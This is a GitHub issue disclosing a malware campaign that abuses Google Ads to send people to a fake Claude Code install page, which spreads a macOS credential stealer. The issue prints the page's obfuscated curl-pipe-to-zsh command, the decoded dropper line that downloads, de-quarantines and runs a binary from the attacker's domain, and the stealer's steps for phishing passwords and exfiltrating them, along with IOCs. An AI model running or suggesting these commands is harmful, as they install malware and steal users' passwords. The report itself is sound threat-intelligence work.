-
Notifications
You must be signed in to change notification settings - Fork 17.8k
Malware campaign impersonating Claude Code install via Google Ads #34622
Copy link
Copy link
Open
Labels
Description
Summary
A malware campaign is actively targeting users searching for "claude code install" via Google Ads. The sponsored result leads to a fake install page that distributes a macOS credential stealer.
Distribution
Fake install page (Google Ads sponsored result):
https://claudecodeupdate.squarespace.com/
This page appeared as a top result for the query "claude code install" and instructs users to run an obfuscated curl command in their terminal.
Obfuscated install command served by the page:
curl -ksfLS $(echo 'aHR0cHM6Ly93b3VwcC5jb20vY3VybC81YmQxYzJhZGIzMjAyOGVjM2FkNmY1N2UxYzJjMDg4MGQ1MmI3OWMyZmI4ZDUwNDc0OTBkZjJjOGMxZTFmOThj'|base64 -D) | zsh
The base64 decodes to: https://woupp.com/curl/5bd1c2adb32028ec3ad6f57e1c2c0880d52b79c2fb8d5047490df2c8c1e1f98c
Attack Chain (fully reverse-engineered)
Stage 1: Dropper script
The curl downloads a small zsh script containing a gzipped+base64 payload that decodes to:
curl -o /tmp/helper https://woupp.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helperStage 2: Native binary (/tmp/helper)
- Type: Mach-O universal binary (x86_64 + arm64), unsigned
- Size: 15,891,320 bytes
- SHA-256:
853c4b09cc8e4efb90f42f9bc81e1f7adb6fdc1a766e4abaf933b7aaee9657fa - Linked libs: only libSystem.B.dylib + libc++.1.dylib
- Obfuscation: All strings/scripts XOR-encrypted in a 6.7 MB
__constsection; decrypted at runtime - Execution method:
fork()→pipe()+dup2()→execl("/bin/bash", "/bin/bash", "-s", NULL)→ feeds decrypted commands viawrite()
Stage 3: Credential stealing (via osascript/AppleScript)
The decrypted payload executes two osascript processes that:
- Request TCC AppleEvents permission for Terminal
- Browse
/Applications/via Finder (fndr,gstl) for reconnaissance - Hide the Terminal window (
core,setd→ Terminal) - Gather system info via multiple
do shell scriptcalls - Write a machine fingerprint hash to
~/.username - Display a fake password dialog (
syso,dlog) to social-engineer the user's macOS password - Write the captured password to
~/.pass - Create temporary staging files, read system data
- Exfiltrate collected data via curl back to
woupp.com - Clean up temporary files
Indicators of Compromise (IOCs)
| Type | Value |
|---|---|
| Distribution URL | https://claudecodeupdate.squarespace.com/ |
| C2 Domain | woupp.com |
| C2 IPs (Cloudflare) | 188.114.97.3, 188.114.96.3 |
| C2 IPv6 | 2a06:98c1:3120::3, 2a06:98c1:3121::3 |
| Dropper URL | https://woupp.com/curl/5bd1c2adb32028ec3ad6f57e1c2c0880d52b79c2fb8d5047490df2c8c1e1f98c |
| Binary URL | https://woupp.com/n8n/update |
| Binary SHA-256 | 853c4b09cc8e4efb90f42f9bc81e1f7adb6fdc1a766e4abaf933b7aaee9657fa |
| SSL Cert | Let's Encrypt E8, issued 2026-03-09, CN=woupp.com |
| Dropped files | ~/.username, ~/.pass |
| TCC modification | kTCCServiceAppleEvents granted to com.apple.Terminal |
Recommendations
- Report
claudecodeupdate.squarespace.comto Google Ads for malware distribution via sponsored results - Report
woupp.comto Cloudflare (abuse@cloudflare.com) — domain is behind Cloudflare proxy - Consider adding a security notice to the official Claude Code install documentation warning about fake install pages
- The official install method should be clearly documented and easily distinguishable from social engineering attempts
Reactions are currently unavailable